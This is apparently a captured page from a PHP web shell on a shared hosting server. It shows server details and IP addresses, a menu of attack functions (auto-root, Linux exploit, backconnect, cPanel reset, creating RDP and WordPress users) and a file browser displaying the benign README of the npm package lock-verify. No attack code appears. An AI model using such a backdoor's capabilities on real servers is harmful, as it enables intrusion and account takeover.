Linux server220.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
: 198.54.116.164 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
adnangch
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib /
node_modules /
npm /
node_modules /
lock-verify /
[ HOME SHELL ]
Name
Size
Permission
Action
LICENSE
752
B
-rw-r--r--
README.md
703
B
-rw-r--r--
index.js
2.87
KB
-rw-r--r--
package.json
1.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# lock-verify Report if your package.json is out of sync with your package-lock.json. ## USAGE ``` const lockVerify = require('lock-verify') lockVerify(moduleDir).then(result => { result.warnings.forEach(w => console.error('Warning:', w)) if (!result.status) { result.errors.forEach(e => console.error(e)) process.exit(1) } }) ``` As a library it's a function that takes the path to a module and returns a promise that resolves to an object with `.status`, `.warnings` and `.errors` properties. The first will be true if everything was ok (though warnings may exist). If there's no `package.json` or no lockfile in `moduleDir` or they're unreadable then the promise will be rejected.
Close
